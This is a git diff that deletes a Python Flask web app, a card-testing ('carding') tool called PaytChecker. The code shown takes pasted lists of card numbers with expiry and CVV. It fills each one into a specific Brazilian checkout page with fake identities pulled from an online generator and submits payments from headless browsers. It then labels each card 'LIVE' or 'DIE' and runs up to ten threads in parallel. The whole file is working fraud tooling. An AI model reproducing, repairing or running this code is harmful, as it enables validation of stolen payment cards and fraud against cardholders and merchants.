Delete appp.py

appp.py

@@ -1,375 +0,0 @@
-import asyncio
-import random
-import time
-import re
-import requests
-import threading
-from flask import Flask, render_template, request
-from flask_socketio import SocketIO
-from playwright.async_api import async_playwright
-
-app = Flask(__name__, template_folder='templates', static_folder='static')
-app.config['SECRET_KEY'] = 'payt-checker-v5-final'
-socketio = SocketIO(app, cors_allowed_origins="*", async_mode='threading')
-
-active_processes = {}
-
-class PaytChecker:
-    def __init__(self, sid):
-        self.sid = sid
-        self.base_url = "https://checkout.payt.com.br/35a53eba9befcf53a42be3f0b22a39c2"
-        self.provedores_email = ["@gmail.com", "@outlook.com", "@hotmail.com", "@yahoo.com.br"]
-
-    async def emit_to_client(self, event, data):
-        socketio.emit(event, data, room=self.sid)
-
-    def gerar_dados(self):
-        """Obtém dados reais da API 4devs. Se falhar, levanta exceção (sem fallback fixo)."""
-        try:
-            url = 'https://www.4devs.com.br/ferramentas_online.php'
-            payload = {'acao': 'gerar_pessoa', 'sexo': 'I', 'pontuacao': 'S', 'idade': '0', 'txt_qtde': '1'}
-            headers = {'Content-Type': 'application/x-www-form-urlencoded'}
-            r = requests.post(url, data=payload, headers=headers, timeout=5)
-            res = r.json()
-            d = res[0] if isinstance(res, list) else res
-            if d.get('nome'):
-                return {
-                    'nome': d['nome'],
-                    'nome_cartao': d['nome'].upper(),
-                    'cpf': d['cpf'],
-                    'email': d['email'],
-                    'telefone': d['telefone']
-                }
-            else:
-                raise Exception("4devs retornou dados incompletos")
-        except Exception as e:
-            # Se quiser FALLBACK (aleatório), descomente as linhas abaixo e comente o raise
-            # print(f"4devs falhou: {e}, gerando dados aleatórios")
-            # primeiros = ["Joao", "Maria", "Jose", "Ana", "Carlos", "Juliana", "Pedro", "Fernanda"]
-            # sobrenomes = ["Silva", "Santos", "Oliveira", "Souza", "Rodrigues", "Ferreira", "Alves", "Lima"]
-            # nome = f"{random.choice(primeiros)} {random.choice(sobrenomes)}"
-            # cpf = "".join([str(random.randint(0,9)) for _ in range(11)])
-            # email = f"{nome.split()[0].lower()}{random.randint(100,999)}{random.choice(self.provedores_email)}"
-            # return {
-            #     'nome': nome, 'nome_cartao': nome.upper(), 'cpf': cpf,
-            #     'email': email, 'telefone': f"119{random.randint(10000000,99999999)}"
-            # }
-            raise Exception(f"Não foi possível obter dados do 4devs: {e}")
-
-    def classificar_retorno(self, mensagem):
-        termos_live = ["compra ainda não foi finalizada", "saldo insuficiente", "suporte", "verifique os dados"]
-        termos_die = ["revise os dados", "não conseguimos processar", "recusado", "inválidos"]
-        for t in termos_live:
-            if t.lower() in mensagem.lower():
-                return "LIVE"
-        for t in termos_die:
-            if t.lower() in mensagem.lower():
-                return "DIE"
-        return "DIE"
-
-    async def capturar_retorno(self, page):
-        for tentativa in range(60):
-            if self.sid in active_processes and active_processes[self.sid].get('stop'):
-                return "STOP", ""
-            await asyncio.sleep(1)
-            url = page.url
-            if any(x in url for x in ["obrigado", "success", "sucesso", "confirmacao"]):
-                return "LIVE", "Pagamento aprovado com sucesso!"
-
-            try:
-                for sel in ['xpath=//*[@id="app"]/nav/div/p', '.swal2-html-container', '.toast-message', '.alert', '.error-message']:
-                    locator = page.locator(sel)
-                    if await locator.count() > 0:
-                        texto = await locator.first.text_content()
-                        if texto and len(texto.strip()) > 5:
-                            msg = texto.strip()
-                            if any(x in msg.lower() for x in ["processando", "aguarde", "confirmando"]):
-                                continue
-                            return self.classificar_retorno(msg), msg
-            except:
-                pass
-        return "DIE", "Timeout - Sem resposta da gateway"
-
-    async def preencher_campo(self, page, selectors, valor, campo_nome, tipo='fill'):
-        """
-        Tenta preencher um campo usando múltiplos seletores.
-        Se 'tipo' for 'fill' -> usa locator.fill()
-        Se for 'type'  -> usa locator.type() com delay
-        Se todas falharem, tenta via JavaScript + eventos.
-        Retorna True se conseguiu, False caso contrário.
-        """
-        for sel in selectors:
-            try:
-                # Aguarda o elemento visível e habilitado
-                await page.wait_for_selector(sel, state='visible', timeout=8000)
-                locator = page.locator(sel).first
-                await locator.scroll_into_view_if_needed()
-                await locator.click(force=True)
-                await asyncio.sleep(0.3)
-                if tipo == 'type':
-                    await locator.type(str(valor), delay=50)
-                else:
-                    await locator.fill(str(valor))
-                # Dispara eventos para garantir que o JS do site detecte a mudança
-                await locator.evaluate("el => el.dispatchEvent(new Event('input', { bubbles: true }))")
-                await locator.evaluate("el => el.dispatchEvent(new Event('change', { bubbles: true }))")
-                await locator.evaluate("el => el.dispatchEvent(new Event('blur', { bubbles: true }))")
-                print(f"[✓] Preenchido {campo_nome} com seletor: {sel}")
-                return True
-            except Exception as e:
-                print(f"[!] Falha com seletor {sel} para {campo_nome}: {e}")
-                continue
-
-        # Fallback via JavaScript
-        try:
-            # Tenta encontrar o campo por atributos comuns usando XPath mais flexível
-            js_fallback = f"""
-                (function() {{
-                    let selectors = {selectors};
-                    let input = null;
-                    for(let sel of selectors) {{
-                        let el = document.querySelector(sel);
-                        if(el && (el.tagName === 'INPUT' || el.tagName === 'TEXTAREA')) {{
-                            input = el;
-                            break;
-                        }}
-                    }}
-                    if(!input) return false;
-                    input.value = '{str(valor)}';
-                    input.dispatchEvent(new Event('input', {{ bubbles: true }}));
-                    input.dispatchEvent(new Event('change', {{ bubbles: true }}));
-                    input.dispatchEvent(new Event('blur', {{ bubbles: true }}));
-                    return true;
-                }})();
-            """
-            result = await page.evaluate(js_fallback)
-            if result:
-                print(f"[✓] Fallback JS funcionou para {campo_nome}")
-                return True
-        except Exception as e:
-            print(f"[✗] Fallback JS falhou para {campo_nome}: {e}")
-
-        print(f"[✗] Não foi possível preencher {campo_nome} após todas as tentativas")
-        return False
-
-    async def testar_cartao(self, cartao, slot, stats_container):
-        if self.sid in active_processes and active_processes[self.sid].get('stop'):
-            return
-
-        partes = cartao.split('|')
-        if len(partes) != 4:
-            stats_container['errors'] += 1
-            await self.emit_to_client('update_stats', stats_container)
-            return
-
-        numero, mes, ano, cvv = partes
-        ano = ano[-2:] if len(ano) == 4 else ano
-
-        try:
-            dados = self.gerar_dados()
-        except Exception as e:
-            stats_container['errors'] += 1
-            stats_container['checked'] += 1
-            await self.emit_to_client('result', {
-                'entry': {'status': 'ERROR', 'card': cartao, 'msg': f'Falha ao gerar dados: {e}', 'slot': slot, 'tempo': 0},
-                'stats': stats_container
-            })
-            return
-
-        inicio = time.time()
-
-        async with async_playwright() as p:
-            browser = None
-            try:
-                browser = await p.chromium.launch(headless=True, args=['--no-sandbox'])
-                page = await browser.new_page()
-                await self.emit_to_client('thread_status', {'id': slot, 'status': 'active', 'card': cartao})
-
-                await page.goto(self.base_url, wait_until='networkidle', timeout=90000)
-
-                # Aguarda um pouco para o JS carregar completamente
-                await page.wait_for_timeout(2000)
-
-                # ------------------------------------------------------------
-                # 1. DADOS PESSOAIS
-                # ------------------------------------------------------------
-                # Nome completo
-                nome_ok = await self.preencher_campo(page, [
-                    '#full_name', 'input[id="full_name"]', 'input[name="full_name"]',
-                    'input[placeholder*="nome"]', 'input[placeholder*="Nome"]',
-                    'input[aria-label*="nome"]', 'input[aria-label*="Nome"]',
-                    'xpath=//input[contains(@placeholder, "nome")]',
-                    'xpath=//input[contains(@placeholder, "Nome")]'
-                ], dados['nome'], "NOME")
-                if not nome_ok:
-                    raise Exception("Campo NOME não encontrado mesmo após fallback")
-
-                # Email
-                await self.preencher_campo(page, [
-                    '#email', 'input[name="email"]', 'input[placeholder*="email"]',
-                    'input[placeholder*="Email"]', 'input[type="email"]',
-                    'input[aria-label*="email"]'
-                ], dados['email'], "EMAIL")
-
-                # Telefone (com múltiplos padrões)
-                await self.preencher_campo(page, [
-                    '#phone', 'input[name="phone"]', 'input[placeholder*="telefone"]',
-                    'input[placeholder*="Telefone"]', 'input[type="tel"]',
-                    'input[name="telefone"]', 'input[name="cellphone"]'
-                ], dados['telefone'], "TELEFONE")
-
-                # CPF
-                await self.preencher_campo(page, [
-                    '#cpf_cnpj', 'input[name="cpf_cnpj"]', 'input[placeholder*="CPF"]',
-                    'input[placeholder*="Cpf"]', 'input[name="cpf"]',
-                    'input[data-field="cpf"]'
-                ], dados['cpf'], "CPF")
-
-                await page.evaluate("window.scrollBy(0, 500)")
-                await asyncio.sleep(1)
-
-                # ------------------------------------------------------------
-                # 2. DADOS DO CARTÃO
-                # ------------------------------------------------------------
-                # Número do cartão
-                card_ok = await self.preencher_campo(page, [
-                    '#cardNumber', 'input[name="cardNumber"]', 'input[placeholder*="número"]',
-                    'input[placeholder*="cartão"]', 'input[placeholder*="Cartão"]',
-                    'input[data-field="cardNumber"]', 'input[autocomplete="cc-number"]'
-                ], numero, "CARTÃO", tipo='type')
-                if not card_ok:
-                    raise Exception("Campo NÚMERO DO CARTÃO não encontrado")
-
-                # Nome impresso
-                await self.preencher_campo(page, [
-                    '#cardName', 'input[name="cardName"]', 'input[placeholder*="impresso"]',
-                    'input[placeholder*="nome no cartão"]', 'input[placeholder*="Nome no Cartão"]',
-                    'input[autocomplete="cc-name"]'
-                ], dados['nome_cartao'], "NOME_NO_CARTÃO")
-
-                # Validade (MM/AA ou MMAA)
-                await self.preencher_campo(page, [
-                    '#cardDueDate', 'input[name="cardDueDate"]', 'input[placeholder*="MM/AA"]',
-                    'input[placeholder*="validade"]', 'input[placeholder*="Validade"]',
-                    'input[placeholder*="MM/YY"]', 'input[autocomplete="cc-exp"]'
-                ], f"{mes}{ano}", "VALIDADE", tipo='type')
-
-                # CVV
-                await self.preencher_campo(page, [
-                    '#cardCvv', 'input[name="cardCvv"]', 'input[placeholder*="CVV"]',
-                    'input[placeholder*="cvv"]', 'input[autocomplete="cc-csc"]'
-                ], cvv, "CVV", tipo='type')
-
-                # ------------------------------------------------------------
-                # 3. SUBMIT
-                # ------------------------------------------------------------
-                btn_clicado = False
-                botoes = [
-                    'button:has-text("Confirmar Pagamento")',
-                    'button:has-text("Confirmar")',
-                    'button[type="submit"]',
-                    '.btn-primary',
-                    'button:has-text("Pagar")',
-                    'button:has-text("Finalizar")'
-                ]
-                for sel in botoes:
-                    try:
-                        btn = page.locator(sel).first
-                        if await btn.count() > 0:
-                            await btn.scroll_into_view_if_needed()
-                            await btn.click(force=True)
-                            btn_clicado = True
-                            print("[✓] Botão de pagamento clicado")
-                            break
-                    except:
-                        continue
-
-                if not btn_clicado:
-                    raise Exception("Botão de pagamento não encontrado")
-
-                # Aguarda o processamento e captura o retorno
-                status, msg = await self.capturar_retorno(page)
-                if status == "STOP":
-                    if browser:
-                        await browser.close()
-                    return
-
-                tempo = round(time.time() - inicio, 1)
-                if status == "LIVE":
-                    stats_container['lives'] += 1
-                    await self.emit_to_client('live_card', {'card': cartao, 'msg': msg, 'tempo': tempo})
-                else:
-                    stats_container['dies'] += 1
-
-                stats_container['checked'] += 1
-                await self.emit_to_client('result', {
-                    'entry': {'status': status, 'card': cartao, 'msg': msg, 'slot': slot, 'tempo': tempo},
-                    'stats': stats_container
-                })
-
-                await browser.close()
-
-            except Exception as e:
-                if self.sid in active_processes and active_processes[self.sid].get('stop'):
-                    if browser:
-                        await browser.close()
-                    return
-                stats_container['errors'] += 1
-                stats_container['checked'] += 1
-                await self.emit_to_client('result', {
-                    'entry': {'status': 'ERROR', 'card': cartao, 'msg': str(e), 'slot': slot, 'tempo': 0},
-                    'stats': stats_container
-                })
-                if browser:
-                    await browser.close()
-
-
-@app.route('/')
-def index():
-    return render_template('index.html')
-
-
-def run_async_checker(cards, threads_count, sid):
-    loop = asyncio.new_event_loop()
-    asyncio.set_event_loop(loop)
-    stats = {'lives': 0, 'dies': 0, 'errors': 0, 'checked': 0, 'total': len(cards)}
-    checker = PaytChecker(sid)
-    socketio.emit('started', {'total': len(cards), 'threads': threads_count}, room=sid)
-
-    async def worker(card_list, slot_id):
-        for card in card_list:
-            if sid in active_processes and active_processes[sid].get('stop'):
-                break
-            await checker.testar_cartao(card, slot_id, stats)
-        socketio.emit('thread_status', {'id': slot_id, 'status': 'idle', 'card': ''}, room=sid)
-
-    chunks = [cards[i::threads_count] for i in range(threads_count)]
-    tasks = [worker(chunk, i) for i, chunk in enumerate(chunks) if chunk]
-    loop.run_until_complete(asyncio.gather(*tasks))
-    socketio.emit('finished', {'stats': stats, 'stopped': (sid in active_processes and active_processes[sid].get('stop'))}, room=sid)
-    if sid in active_processes:
-        del active_processes[sid]
-    loop.close()
-
-
-@socketio.on('start_process')
-def handle_start(data):
-    sid = request.sid
-    if sid in active_processes:
-        return
-    cards = [c.strip() for c in data['cards'].split('\n') if '|' in c]
-    threads_count = min(int(data['threads']), 10)
-    active_processes[sid] = {'stop': False}
-    threading.Thread(target=run_async_checker, args=(cards, threads_count, sid)).start()
-
-
-@socketio.on('stop_process')
-def handle_stop():
-    sid = request.sid
-    if sid in active_processes:
-        active_processes[sid]['stop'] = True
-        socketio.emit('finished', {'stats': {}, 'stopped': True}, room=sid)
-
-
-if __name__ == '__main__':
-    socketio.run(app, host='0.0.0.0', port=7860, allow_unsafe_werkzeug=True)